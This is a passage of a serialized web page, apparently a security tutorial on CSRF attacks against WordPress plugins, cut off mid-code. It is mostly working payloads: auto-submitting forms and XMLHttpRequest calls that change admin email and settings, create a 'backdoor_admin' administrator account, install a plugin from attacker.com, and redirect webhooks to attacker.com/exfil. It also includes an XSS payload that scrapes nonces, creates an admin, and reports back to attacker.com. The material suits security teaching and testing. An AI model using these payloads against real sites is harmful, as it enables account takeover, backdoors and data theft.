fetch",[36,23930,18300],{"class":605},[36,23932,23933],{"class":53},"'https:\u002F\u002Fattacker.com\u002Fcollect?data='",[36,23935,11640],{"class":102},[36,23937,23938],{"class":49}," encodeURIComponent",[36,23940,18300],{"class":605},[36,23942,23943],{"class":95},"JSON",[36,23945,13246],{"class":605},[36,23947,23948],{"class":49},"stringify",[36,23950,23951],{"class":605},"(data)));\n",[36,23953,23954],{"class":38,"line":285},[36,23955,300],{"class":605},[36,23957,23958,23960,23962],{"class":38,"line":291},[36,23959,7122],{"class":605},[36,23961,7062],{"class":7061},[36,23963,7065],{"class":605},[36,23965,23966,23968,23970],{"class":38,"line":297},[36,23967,7122],{"class":605},[36,23969,23528],{"class":7061},[36,23971,7065],{"class":605},[36,23973,23974,23976,23978],{"class":38,"line":303},[36,23975,7122],{"class":605},[36,23977,7051],{"class":7061},[36,23979,7065],{"class":605},[684,23981,23983],{"id":23982},"csrf-via-image-tag-get-based","CSRF via Image Tag (GET-based)",[26,23985,23987],{"className":7049,"code":23986,"language":7051,"meta":31,"style":31},"\u003C!-- Works when the CSRF action can be triggered via GET -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=delete_all_logs\" \n     width=\"0\" height=\"0\">\n",[33,23988,23989,23994,24012],{"__ignoreMap":31},[36,23990,23991],{"class":38,"line":39},[36,23992,23993],{"class":42},"\u003C!-- Works when the CSRF action can be triggered via GET -->\n",[36,23995,23996,23998,24001,24004,24006,24009],{"class":38,"line":46},[36,23997,7058],{"class":605},[36,23999,24000],{"class":7061},"img",[36,24002,24003],{"class":49}," src",[36,24005,1220],{"class":605},[36,24007,24008],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=delete_all_logs\"",[36,24010,24011],{"class":605}," \n",[36,24013,24014,24017,24019,24022,24025,24027,24029],{"class":38,"line":57},[36,24015,24016],{"class":49},"     width",[36,24018,1220],{"class":605},[36,24020,24021],{"class":53},"\"0\"",[36,24023,24024],{"class":49}," height",[36,24026,1220],{"class":605},[36,24028,24021],{"class":53},[36,24030,7065],{"class":605},[684,24032,24034],{"id":24033},"csrf-via-xmlhttprequest","CSRF via XMLHttpRequest",[26,24036,24038],{"className":7049,"code":24037,"language":7051,"meta":31,"style":31},"\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open('POST', 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php', true);\nxhr.withCredentials = true;\nxhr.setRequestHeader('Content-Type', 'application\u002Fx-www-form-urlencoded');\nxhr.send('action=update_admin_email&email=attacker@evil.com');\n\u003C\u002Fscript>\n",[33,24039,24040,24048,24066,24088,24101,24119,24133],{"__ignoreMap":31},[36,24041,24042,24044,24046],{"class":38,"line":39},[36,24043,7058],{"class":605},[36,24045,7062],{"class":7061},[36,24047,7065],{"class":605},[36,24049,24050,24052,24055,24057,24060,24063],{"class":38,"line":46},[36,24051,7070],{"class":102},[36,24053,24054],{"class":605}," xhr ",[36,24056,1220],{"class":102},[36,24058,24059],{"class":102}," new",[36,24061,24062],{"class":49}," XMLHttpRequest",[36,24064,24065],{"class":605},"();\n",[36,24067,24068,24071,24074,24076,24078,24080,24082,24084,24086],{"class":38,"line":57},[36,24069,24070],{"class":605},"xhr.",[36,24072,24073],{"class":49},"open",[36,24075,18300],{"class":605},[36,24077,23830],{"class":53},[36,24079,13002],{"class":605},[36,24081,23819],{"class":53},[36,24083,13002],{"class":605},[36,24085,421],{"class":95},[36,24087,9831],{"class":605},[36,24089,24090,24093,24095,24098],{"class":38,"line":64},[36,24091,24092],{"class":605},"xhr.withCredentials ",[36,24094,1220],{"class":102},[36,24096,24097],{"class":95}," true",[36,24099,24100],{"class":605},";\n",[36,24102,24103,24105,24108,24110,24113,24115,24117],{"class":38,"line":70},[36,24104,24070],{"class":605},[36,24106,24107],{"class":49},"setRequestHeader",[36,24109,18300],{"class":605},[36,24111,24112],{"class":53},"'Content-Type'",[36,24114,13002],{"class":605},[36,24116,23858],{"class":53},[36,24118,9831],{"class":605},[36,24120,24121,24123,24126,24128,24131],{"class":38,"line":78},[36,24122,24070],{"class":605},[36,24124,24125],{"class":49},"send",[36,24127,18300],{"class":605},[36,24129,24130],{"class":53},"'action=update_admin_email&email=attacker@evil.com'",[36,24132,9831],{"class":605},[36,24134,24135,24137,24139],{"class":38,"line":83},[36,24136,7122],{"class":605},[36,24138,7062],{"class":7061},[36,24140,7065],{"class":605},[18,24142,24144],{"id":24143},"common-csrf-impact-scenarios","Common CSRF Impact Scenarios",[684,24146,24148],{"id":24147},"scenario-1-settings-manipulation","Scenario 1: Settings Manipulation",[14,24150,24151],{},"Change site-wide settings to disable security features or redirect traffic:",[26,24153,24155],{"className":7049,"code":24154,"language":7051,"meta":31,"style":31},"\u003Cform id=\"csrf\" method=\"POST\"\n      action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Foptions.php\">\n    \u003Cinput type=\"hidden\" name=\"option_page\" value=\"general\">\n    \u003Cinput type=\"hidden\" name=\"action\" value=\"update\">\n    \u003C!-- No nonce? Admin can be CSRF'd into changing options -->\n    \u003Cinput type=\"hidden\" name=\"siteurl\" value=\"https:\u002F\u002Ftarget.example.com\">\n    \u003Cinput type=\"hidden\" name=\"blogname\" value=\"Hacked Site\">\n    \u003Cinput type=\"hidden\" name=\"admin_email\" value=\"attacker@evil.com\">\n    \u003Cinput type=\"hidden\" name=\"default_role\" value=\"administrator\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n",[33,24156,24157,24175,24186,24214,24241,24246,24274,24302,24330,24358,24366],{"__ignoreMap":31},[36,24158,24159,24161,24163,24165,24167,24169,24171,24173],{"class":38,"line":39},[36,24160,7058],{"class":605},[36,24162,23550],{"class":7061},[36,24164,23553],{"class":49},[36,24166,1220],{"class":605},[36,24168,23558],{"class":53},[36,24170,23561],{"class":49},[36,24172,1220],{"class":605},[36,24174,23566],{"class":53},[36,24176,24177,24179,24181,24184],{"class":38,"line":46},[36,24178,23571],{"class":49},[36,24180,1220],{"class":605},[36,24182,24183],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Foptions.php\"",[36,24185,7065],{"class":605},[36,24187,24188,24190,24192,24194,24196,24198,24200,24202,24205,24207,24209,24212],{"class":38,"line":57},[36,24189,23592],{"class":605},[36,24191,23595],{"class":7061},[36,24193,23598],{"class":49},[36,24195,1220],{"class":605},[36,24197,23603],{"class":53},[36,24199,23606],{"class":49},[36,24201,1220],{"class":605},[36,24203,24204],{"class":53},"\"option_page\"",[36,24206,23614],{"class":49},[36,24208,1220],{"class":605},[36,24210,24211],{"class":53},"\"general\"",[36,24213,7065],{"class":605},[36,24215,24216,24218,24220,24222,24224,24226,24228,24230,24232,24234,24236,24239],{"class":38,"line":64},[36,24217,23592],{"class":605},[36,24219,23595],{"class":7061},[36,24221,23598],{"class":49},[36,24223,1220],{"class":605},[36,24225,23603],{"class":53},[36,24227,23606],{"class":49},[36,24229,1220],{"class":605},[36,24231,23611],{"class":53},[36,24233,23614],{"class":49},[36,24235,1220],{"class":605},[36,24237,24238],{"class":53},"\"update\"",[36,24240,7065],{"class":605},[36,24242,24243],{"class":38,"line":70},[36,24244,24245],{"class":42},"    \u003C!-- No nonce? Admin can be CSRF'd into changing options -->\n",[36,24247,24248,24250,24252,24254,24256,24258,24260,24262,24265,24267,24269,24272],{"class":38,"line":78},[36,24249,23592],{"class":605},[36,24251,23595],{"class":7061},[36,24253,23598],{"class":49},[36,24255,1220],{"class":605},[36,24257,23603],{"class":53},[36,24259,23606],{"class":49},[36,24261,1220],{"class":605},[36,24263,24264],{"class":53},"\"siteurl\"",[36,24266,23614],{"class":49},[36,24268,1220],{"class":605},[36,24270,24271],{"class":53},"\"https:\u002F\u002Ftarget.example.com\"",[36,24273,7065],{"class":605},[36,24275,24276,24278,24280,24282,24284,24286,24288,24290,24293,24295,24297,24300],{"class":38,"line":83},[36,24277,23592],{"class":605},[36,24279,23595],{"class":7061},[36,24281,23598],{"class":49},[36,24283,1220],{"class":605},[36,24285,23603],{"class":53},[36,24287,23606],{"class":49},[36,24289,1220],{"class":605},[36,24291,24292],{"class":53},"\"blogname\"",[36,24294,23614],{"class":49},[36,24296,1220],{"class":605},[36,24298,24299],{"class":53},"\"Hacked Site\"",[36,24301,7065],{"class":605},[36,24303,24304,24306,24308,24310,24312,24314,24316,24318,24321,24323,24325,24328],{"class":38,"line":89},[36,24305,23592],{"class":605},[36,24307,23595],{"class":7061},[36,24309,23598],{"class":49},[36,24311,1220],{"class":605},[36,24313,23603],{"class":53},[36,24315,23606],{"class":49},[36,24317,1220],{"class":605},[36,24319,24320],{"class":53},"\"admin_email\"",[36,24322,23614],{"class":49},[36,24324,1220],{"class":605},[36,24326,24327],{"class":53},"\"attacker@evil.com\"",[36,24329,7065],{"class":605},[36,24331,24332,24334,24336,24338,24340,24342,24344,24346,24349,24351,24353,24356],{"class":38,"line":115},[36,24333,23592],{"class":605},[36,24335,23595],{"class":7061},[36,24337,23598],{"class":49},[36,24339,1220],{"class":605},[36,24341,23603],{"class":53},[36,24343,23606],{"class":49},[36,24345,1220],{"class":605},[36,24347,24348],{"class":53},"\"default_role\"",[36,24350,23614],{"class":49},[36,24352,1220],{"class":605},[36,24354,24355],{"class":53},"\"administrator\"",[36,24357,7065],{"class":605},[36,24359,24360,24362,24364],{"class":38,"line":133},[36,24361,7122],{"class":605},[36,24363,23550],{"class":7061},[36,24365,7065],{"class":605},[36,24367,24368,24370,24372,24375,24377,24380,24382,24384,24386],{"class":38,"line":138},[36,24369,7058],{"class":605},[36,24371,7062],{"class":7061},[36,24373,24374],{"class":605},">document.forms[",[36,24376,2740],{"class":95},[36,24378,24379],{"class":605},"].",[36,24381,23734],{"class":49},[36,24383,23737],{"class":605},[36,24385,7062],{"class":7061},[36,24387,7065],{"class":605},[14,24389,24390,24391,24394,24395,24398],{},"Note: WordPress core ",[33,24392,24393],{},"options.php"," IS protected by nonces (",[33,24396,24397],{},"_wpnonce","). This scenario applies to plugins with unprotected settings pages.",[684,24400,24402],{"id":24401},"scenario-2-user-creation-via-csrf","Scenario 2: User Creation via CSRF",[26,24404,24406],{"className":7049,"code":24405,"language":7051,"meta":31,"style":31},"\u003C!-- CSRF to create a new admin account via unprotected plugin endpoint -->\n\u003Cform id=\"csrf\" method=\"POST\"\n      action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\">\n    \u003Cinput type=\"hidden\" name=\"action\" value=\"plugin_create_user\">\n    \u003Cinput type=\"hidden\" name=\"username\" value=\"backdoor_admin\">\n    \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\">\n    \u003Cinput type=\"hidden\" name=\"password\" value=\"P@ssw0rd!123\">\n    \u003Cinput type=\"hidden\" name=\"role\" value=\"administrator\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n",[33,24407,24408,24413,24431,24442,24469,24497,24524,24552,24579,24587],{"__ignoreMap":31},[36,24409,24410],{"class":38,"line":39},[36,24411,24412],{"class":42},"\u003C!-- CSRF to create a new admin account via unprotected plugin endpoint -->\n",[36,24414,24415,24417,24419,24421,24423,24425,24427,24429],{"class":38,"line":46},[36,24416,7058],{"class":605},[36,24418,23550],{"class":7061},[36,24420,23553],{"class":49},[36,24422,1220],{"class":605},[36,24424,23558],{"class":53},[36,24426,23561],{"class":49},[36,24428,1220],{"class":605},[36,24430,23566],{"class":53},[36,24432,24433,24435,24437,24440],{"class":38,"line":57},[36,24434,23571],{"class":49},[36,24436,1220],{"class":605},[36,24438,24439],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\"",[36,24441,7065],{"class":605},[36,24443,24444,24446,24448,24450,24452,24454,24456,24458,24460,24462,24464,24467],{"class":38,"line":64},[36,24445,23592],{"class":605},[36,24447,23595],{"class":7061},[36,24449,23598],{"class":49},[36,24451,1220],{"class":605},[36,24453,23603],{"class":53},[36,24455,23606],{"class":49},[36,24457,1220],{"class":605},[36,24459,23611],{"class":53},[36,24461,23614],{"class":49},[36,24463,1220],{"class":605},[36,24465,24466],{"class":53},"\"plugin_create_user\"",[36,24468,7065],{"class":605},[36,24470,24471,24473,24475,24477,24479,24481,24483,24485,24488,24490,24492,24495],{"class":38,"line":70},[36,24472,23592],{"class":605},[36,24474,23595],{"class":7061},[36,24476,23598],{"class":49},[36,24478,1220],{"class":605},[36,24480,23603],{"class":53},[36,24482,23606],{"class":49},[36,24484,1220],{"class":605},[36,24486,24487],{"class":53},"\"username\"",[36,24489,23614],{"class":49},[36,24491,1220],{"class":605},[36,24493,24494],{"class":53},"\"backdoor_admin\"",[36,24496,7065],{"class":605},[36,24498,24499,24501,24503,24505,24507,24509,24511,24513,24516,24518,24520,24522],{"class":38,"line":78},[36,24500,23592],{"class":605},[36,24502,23595],{"class":7061},[36,24504,23598],{"class":49},[36,24506,1220],{"class":605},[36,24508,23603],{"class":53},[36,24510,23606],{"class":49},[36,24512,1220],{"class":605},[36,24514,24515],{"class":53},"\"email\"",[36,24517,23614],{"class":49},[36,24519,1220],{"class":605},[36,24521,24327],{"class":53},[36,24523,7065],{"class":605},[36,24525,24526,24528,24530,24532,24534,24536,24538,24540,24543,24545,24547,24550],{"class":38,"line":83},[36,24527,23592],{"class":605},[36,24529,23595],{"class":7061},[36,24531,23598],{"class":49},[36,24533,1220],{"class":605},[36,24535,23603],{"class":53},[36,24537,23606],{"class":49},[36,24539,1220],{"class":605},[36,24541,24542],{"class":53},"\"password\"",[36,24544,23614],{"class":49},[36,24546,1220],{"class":605},[36,24548,24549],{"class":53},"\"P@ssw0rd!123\"",[36,24551,7065],{"class":605},[36,24553,24554,24556,24558,24560,24562,24564,24566,24568,24571,24573,24575,24577],{"class":38,"line":89},[36,24555,23592],{"class":605},[36,24557,23595],{"class":7061},[36,24559,23598],{"class":49},[36,24561,1220],{"class":605},[36,24563,23603],{"class":53},[36,24565,23606],{"class":49},[36,24567,1220],{"class":605},[36,24569,24570],{"class":53},"\"role\"",[36,24572,23614],{"class":49},[36,24574,1220],{"class":605},[36,24576,24355],{"class":53},[36,24578,7065],{"class":605},[36,24580,24581,24583,24585],{"class":38,"line":115},[36,24582,7122],{"class":605},[36,24584,23550],{"class":7061},[36,24586,7065],{"class":605},[36,24588,24589,24591,24593,24595,24597,24599,24601,24603,24605],{"class":38,"line":133},[36,24590,7058],{"class":605},[36,24592,7062],{"class":7061},[36,24594,24374],{"class":605},[36,24596,2740],{"class":95},[36,24598,24379],{"class":605},[36,24600,23734],{"class":49},[36,24602,23737],{"class":605},[36,24604,7062],{"class":7061},[36,24606,7065],{"class":605},[684,24608,24610],{"id":24609},"scenario-3-plugintheme-installation","Scenario 3: Plugin\u002FTheme Installation",[14,24612,24613],{},"If a plugin allows installing updates from custom URLs without nonce protection:",[26,24615,24617],{"className":7049,"code":24616,"language":7051,"meta":31,"style":31},"\u003Cform id=\"csrf\" method=\"POST\"\n      action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\">\n    \u003Cinput type=\"hidden\" name=\"action\" value=\"install_plugin_from_url\">\n    \u003Cinput type=\"hidden\" name=\"plugin_url\" value=\"https:\u002F\u002Fattacker.com\u002Fmalicious-plugin.zip\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n",[33,24618,24619,24637,24647,24674,24702,24710],{"__ignoreMap":31},[36,24620,24621,24623,24625,24627,24629,24631,24633,24635],{"class":38,"line":39},[36,24622,7058],{"class":605},[36,24624,23550],{"class":7061},[36,24626,23553],{"class":49},[36,24628,1220],{"class":605},[36,24630,23558],{"class":53},[36,24632,23561],{"class":49},[36,24634,1220],{"class":605},[36,24636,23566],{"class":53},[36,24638,24639,24641,24643,24645],{"class":38,"line":46},[36,24640,23571],{"class":49},[36,24642,1220],{"class":605},[36,24644,24439],{"class":53},[36,24646,7065],{"class":605},[36,24648,24649,24651,24653,24655,24657,24659,24661,24663,24665,24667,24669,24672],{"class":38,"line":57},[36,24650,23592],{"class":605},[36,24652,23595],{"class":7061},[36,24654,23598],{"class":49},[36,24656,1220],{"class":605},[36,24658,23603],{"class":53},[36,24660,23606],{"class":49},[36,24662,1220],{"class":605},[36,24664,23611],{"class":53},[36,24666,23614],{"class":49},[36,24668,1220],{"class":605},[36,24670,24671],{"class":53},"\"install_plugin_from_url\"",[36,24673,7065],{"class":605},[36,24675,24676,24678,24680,24682,24684,24686,24688,24690,24693,24695,24697,24700],{"class":38,"line":64},[36,24677,23592],{"class":605},[36,24679,23595],{"class":7061},[36,24681,23598],{"class":49},[36,24683,1220],{"class":605},[36,24685,23603],{"class":53},[36,24687,23606],{"class":49},[36,24689,1220],{"class":605},[36,24691,24692],{"class":53},"\"plugin_url\"",[36,24694,23614],{"class":49},[36,24696,1220],{"class":605},[36,24698,24699],{"class":53},"\"https:\u002F\u002Fattacker.com\u002Fmalicious-plugin.zip\"",[36,24701,7065],{"class":605},[36,24703,24704,24706,24708],{"class":38,"line":70},[36,24705,7122],{"class":605},[36,24707,23550],{"class":7061},[36,24709,7065],{"class":605},[36,24711,24712,24714,24716,24718,24720,24722,24724,24726,24728],{"class":38,"line":78},[36,24713,7058],{"class":605},[36,24715,7062],{"class":7061},[36,24717,24374],{"class":605},[36,24719,2740],{"class":95},[36,24721,24379],{"class":605},[36,24723,23734],{"class":49},[36,24725,23737],{"class":605},[36,24727,7062],{"class":7061},[36,24729,7065],{"class":605},[684,24731,24733],{"id":24732},"scenario-4-webhookapi-configuration","Scenario 4: Webhook\u002FAPI Configuration",[26,24735,24737],{"className":7049,"code":24736,"language":7051,"meta":31,"style":31},"\u003C!-- Change where the plugin sends data -->\n\u003Cform id=\"csrf\" method=\"POST\"\n      action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\">\n    \u003Cinput type=\"hidden\" name=\"action\" value=\"save_webhook\">\n    \u003Cinput type=\"hidden\" name=\"webhook_url\" value=\"https:\u002F\u002Fattacker.com\u002Fexfil\">\n    \u003Cinput type=\"hidden\" name=\"events\" value=\"user_register,woocommerce_new_order\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n",[33,24738,24739,24744,24762,24772,24799,24827,24855,24863],{"__ignoreMap":31},[36,24740,24741],{"class":38,"line":39},[36,24742,24743],{"class":42},"\u003C!-- Change where the plugin sends data -->\n",[36,24745,24746,24748,24750,24752,24754,24756,24758,24760],{"class":38,"line":46},[36,24747,7058],{"class":605},[36,24749,23550],{"class":7061},[36,24751,23553],{"class":49},[36,24753,1220],{"class":605},[36,24755,23558],{"class":53},[36,24757,23561],{"class":49},[36,24759,1220],{"class":605},[36,24761,23566],{"class":53},[36,24763,24764,24766,24768,24770],{"class":38,"line":57},[36,24765,23571],{"class":49},[36,24767,1220],{"class":605},[36,24769,24439],{"class":53},[36,24771,7065],{"class":605},[36,24773,24774,24776,24778,24780,24782,24784,24786,24788,24790,24792,24794,24797],{"class":38,"line":64},[36,24775,23592],{"class":605},[36,24777,23595],{"class":7061},[36,24779,23598],{"class":49},[36,24781,1220],{"class":605},[36,24783,23603],{"class":53},[36,24785,23606],{"class":49},[36,24787,1220],{"class":605},[36,24789,23611],{"class":53},[36,24791,23614],{"class":49},[36,24793,1220],{"class":605},[36,24795,24796],{"class":53},"\"save_webhook\"",[36,24798,7065],{"class":605},[36,24800,24801,24803,24805,24807,24809,24811,24813,24815,24818,24820,24822,24825],{"class":38,"line":70},[36,24802,23592],{"class":605},[36,24804,23595],{"class":7061},[36,24806,23598],{"class":49},[36,24808,1220],{"class":605},[36,24810,23603],{"class":53},[36,24812,23606],{"class":49},[36,24814,1220],{"class":605},[36,24816,24817],{"class":53},"\"webhook_url\"",[36,24819,23614],{"class":49},[36,24821,1220],{"class":605},[36,24823,24824],{"class":53},"\"https:\u002F\u002Fattacker.com\u002Fexfil\"",[36,24826,7065],{"class":605},[36,24828,24829,24831,24833,24835,24837,24839,24841,24843,24846,24848,24850,24853],{"class":38,"line":78},[36,24830,23592],{"class":605},[36,24832,23595],{"class":7061},[36,24834,23598],{"class":49},[36,24836,1220],{"class":605},[36,24838,23603],{"class":53},[36,24840,23606],{"class":49},[36,24842,1220],{"class":605},[36,24844,24845],{"class":53},"\"events\"",[36,24847,23614],{"class":49},[36,24849,1220],{"class":605},[36,24851,24852],{"class":53},"\"user_register,woocommerce_new_order\"",[36,24854,7065],{"class":605},[36,24856,24857,24859,24861],{"class":38,"line":83},[36,24858,7122],{"class":605},[36,24860,23550],{"class":7061},[36,24862,7065],{"class":605},[36,24864,24865,24867,24869,24871,24873,24875,24877,24879,24881],{"class":38,"line":89},[36,24866,7058],{"class":605},[36,24868,7062],{"class":7061},[36,24870,24374],{"class":605},[36,24872,2740],{"class":95},[36,24874,24379],{"class":605},[36,24876,23734],{"class":49},[36,24878,23737],{"class":605},[36,24880,7062],{"class":7061},[36,24882,7065],{"class":605},[18,24884,24886],{"id":24885},"chaining-csrf-with-xss","Chaining CSRF with XSS",[14,24888,24889],{},"CSRF can be chained with XSS for significantly higher impact. XSS removes the requirement for the victim to visit an attacker-controlled page - the payload runs on the trusted domain itself.",[684,24891,24893],{"id":24892},"csrf-stored-xss-chain","CSRF + Stored XSS Chain",[26,24895,24898],{"className":24896,"code":24897,"language":7026},[7024],"1. Attacker submits malicious comment or post containing XSS payload\n2. Comment awaits moderation (stored in database with payload)\n3. Admin reviews comments -> XSS fires in admin browser\n4. XSS payload reads admin nonces and performs authenticated actions\n",[33,24899,24897],{"__ignoreMap":31},[14,24901,24902],{},"XSS payload that chains into CSRF to create a new admin:",[26,24904,24906],{"className":19093,"code":24905,"language":19095,"meta":31,"style":31},"\u002F\u002F This runs in admin's browser context on WordPress domain\n\u002F\u002F So SameSite restrictions don't apply (same origin)\n(async () => {\n    \u002F\u002F Step 1: Fetch a page with a nonce\n    const r1 = await fetch('\u002Fwp-admin\u002Fuser-new.php', {credentials: 'include'});\n    const html = await r1.text();\n    \n    \u002F\u002F Step 2: Extract nonce\n    const nonceMatch = html.match(\u002Fname=\"_wpnonce_create-user\"\\s+value=\"([^\"]+)\"\u002F);\n    if (!nonceMatch) return;\n    const nonce = nonceMatch[1];\n    \n    \u002F\u002F Step 3: Create admin account\n    const body = new URLSearchParams({\n        action: 'createuser',\n        user_login: 'xss_admin',\n        email: 'attacker@evil.com',\n        first_name: '',\n        last_name: '',\n        url: '',\n        pass1: 'Xss_Admin_Pass_1234!',\n        pass2: 'Xss_Admin_Pass_1234!',\n        pw_weak: 'on',\n        role: 'administrator',\n        'user-super-admin': '0',\n        _wpnonce_create_user: nonce,\n        noconfirmation: '1',\n    });\n    \n    const r2 = await fetch('\u002Fwp-admin\u002Fuser-new.php', {\n        method: 'POST',\n        credentials: 'include',\n        body: body,\n    });\n    \n    \u002F\u002F Step 4: Exfiltrate confirmation\n    await fetch('https:\u002F\u002Fattacker.com\u002Fsuccess?status=' + r2.status);\n})();\n",[33,24907,24908,24913,24918,24933,24938,24967,24984,24988,24993,25041,25058,25074,25078,25083,25100,25110,25120,25130,25140,25149,25158,25168,25177,25187,25197,25209,25214,25224,25228,25232,25251,25260,25269,25274,25278,25282,25287,25304],{"__ignoreMap":31},[36,24909,24910],{"class":38,"line":39},[36,24911,24912],{"class":42},"\u002F\u002F This runs in admin's browser context on WordPress domain\n",[36,24914,24915],{"class":38,"line":46},[36,24916,24917],{"class":42},"\u002F\u002F So SameSite restrictions don't apply (same origin)\n",[36,24919,24920,24922,24925,24928,24931],{"class":38,"line":57},[36,24921,18300],{"class":605},[36,24923,24924],{"class":102},"async",[36,24926,24927],{"class":605}," () ",[36,24929,24930],{"class":102},"=>",[36,24932,23918],{"class":605},[36,24934,24935],{"class":38,"line":64},[36,24936,24937],{"class":42},"    \u002F\u002F Step 1: Fetch a page with a nonce\n",[36,24939,24940,24943,24946,24949,24952,24955,24957,24960,24963,24965],{"class":38,"line":70},[36,24941,24942],{"class":102},"    const",[36,24944,24945],{"class":95}," r1",[36,24947,24948],{"class":102}," =",[36,24950,24951],{"class":102}," await",[36,24953,24954],{"class":49}," fetch",[36,24956,18300],{"class":605},[36,24958,24959],{"class":53},"'\u002Fwp-admin\u002Fuser-new.php'",[36,24961,24962],{"class":605},", {credentials: ",[36,24964,23841],{"class":53},[36,24966,300],{"class":605},[36,24968,24969,24971,24973,24975,24977,24980,24982],{"class":38,"line":78},[36,24970,24942],{"class":102},[36,24972,23486],{"class":95},[36,24974,24948],{"class":102},[36,24976,24951],{"class":102},[36,24978,24979],{"class":605}," r1.",[36,24981,7026],{"class":49},[36,24983,24065],{"class":605},[36,24985,24986],{"class":38,"line":83},[36,24987,16191],{"class":605},[36,24989,24990],{"class":38,"line":89},[36,24991,24992],{"class":42},"    \u002F\u002F Step 2: Extract nonce\n",[36,24994,24995,24997,25000,25002,25005,25008,25010,25012,25016,25019,25021,25024,25027,25030,25033,25035,25037,25039],{"class":38,"line":115},[36,24996,24942],{"class":102},[36,24998,24999],{"class":95}," nonceMatch",[36,25001,24948],{"class":102},[36,25003,25004],{"class":605}," html.",[36,25006,25007],{"class":49},"match",[36,25009,18300],{"class":605},[36,25011,11648],{"class":53},[36,25013,25015],{"class":25014},"sA_wV","name=\"_wpnonce_create-user\"",[36,25017,25018],{"class":95},"\\s",[36,25020,18306],{"class":102},[36,25022,25023],{"class":25014},"value=\"(",[36,25025,25026],{"class":95},"[",[36,25028,25029],{"class":102},"^",[36,25031,25032],{"class":95},"\"]",[36,25034,18306],{"class":102},[36,25036,11256],{"class":25014},[36,25038,11648],{"class":53},[36,25040,9831],{"class":605},[36,25042,25043,25045,25048,25050,25053,25056],{"class":38,"line":133},[36,25044,614],{"class":102},[36,25046,25047],{"class":605}," (",[36,25049,637],{"class":102},[36,25051,25052],{"class":605},"nonceMatch) ",[36,25054,25055],{"class":102},"return",[36,25057,24100],{"class":605},[36,25059,25060,25062,25065,25067,25070,25072],{"class":38,"line":138},[36,25061,24942],{"class":102},[36,25063,25064],{"class":95}," nonce",[36,25066,24948],{"class":102},[36,25068,25069],{"class":605}," nonceMatch[",[36,25071,4483],{"class":95},[36,25073,18193],{"class":605},[36,25075,25076],{"class":38,"line":144},[36,25077,16191],{"class":605},[36,25079,25080],{"class":38,"line":158},[36,25081,25082],{"class":42},"    \u002F\u002F Step 3: Create admin account\n",[36,25084,25085,25087,25090,25092,25094,25097],{"class":38,"line":255},[36,25086,24942],{"class":102},[36,25088,25089],{"class":95}," body",[36,25091,24948],{"class":102},[36,25093,24059],{"class":102},[36,25095,25096],{"class":49}," URLSearchParams",[36,25098,25099],{"class":605},"({\n",[36,25101,25102,25105,25108],{"class":38,"line":261},[36,25103,25104],{"class":605},"        action: ",[36,25106,25107],{"class":53},"'createuser'",[36,25109,23833],{"class":605},[36,25111,25112,25115,25118],{"class":38,"line":267},[36,25113,25114],{"class":605},"        user_login: ",[36,25116,25117],{"class":53},"'xss_admin'",[36,25119,23833],{"class":605},[36,25121,25122,25125,25128],{"class":38,"line":273},[36,25123,25124],{"class":605},"        email: ",[36,25126,25127],{"class":53},"'attacker@evil.com'",[36,25129,23833],{"class":605},[36,25131,25132,25135,25138],{"class":38,"line":279},[36,25133,25134],{"class":605},"        first_name: ",[36,25136,25137],{"class":53},"''",[36,25139,23833],{"class":605},[36,25141,25142,25145,25147],{"class":38,"line":285},[36,25143,25144],{"class":605},"        last_name: ",[36,25146,25137],{"class":53},[36,25148,23833],{"class":605},[36,25150,25151,25154,25156],{"class":38,"line":291},[36,25152,25153],{"class":605},"        url: ",[36,25155,25137],{"class":53},[36,25157,23833],{"class":605},[36,25159,25160,25163,25166],{"class":38,"line":297},[36,25161,25162],{"class":605},"        pass1: ",[36,25164,25165],{"class":53},"'Xss_Admin_Pass_1234!'",[36,25167,23833],{"class":605},[36,25169,25170,25173,25175],{"class":38,"line":303},[36,25171,25172],{"class":605},"        pass2: ",[36,25174,25165],{"class":53},[36,25176,23833],{"class":605},[36,25178,25179,25182,25185],{"class":38,"line":308},[36,25180,25181],{"class":605},"        pw_weak: ",[36,25183,25184],{"class":53},"'on'",[36,25186,23833],{"class":605},[36,25188,25189,25192,25195],{"class":38,"line":314},[36,25190,25191],{"class":605},"        role: ",[36,25193,25194],{"class":53},"'administrator'",[36,25196,23833],{"class":605},[36,25198,25199,25202,25204,25207],{"class":38,"line":320},[36,25200,25201],{"class":53},"        'user-super-admin'",[36,25203,1424],{"class":605},[36,25205,25206],{"class":53},"'0'",[36,25208,23833],{"class":605},[36,25210,25211],{"class":38,"line":326},[36,25212,25213],{"class":605},"        _wpnonce_create_user: nonce,\n",[36,25215,25216,25219,25222],{"class":38,"line":331},[36,25217,25218],{"class":605},"        noconfirmation: ",[36,25220,25221],{"class":53},"'1'",[36,25223,23833],{"class":605},[36,25225,25226],{"class":38,"line":337},[36,25227,19299],{"class":605},[36,25229,25230],{"class":38,"line":343},[36,25231,16191],{"class":605},[36,25233,25234,25236,25239,25241,25243,25245,25247,25249],{"class":38,"line":349},[36,25235,24942],{"class":102},[36,25237,25238],{"class":95}," r2",[36,25240,24948],{"class":102},[36,25242,24951],{"class":102},[36,25244,24954],{"class":49},[36,25246,18300],{"class":605},[36,25248,24959],{"class":53},[36,25250,23822],{"class":605},[36,25252,25253,25256,25258],{"class":38,"line":355},[36,25254,25255],{"class":605},"        method: 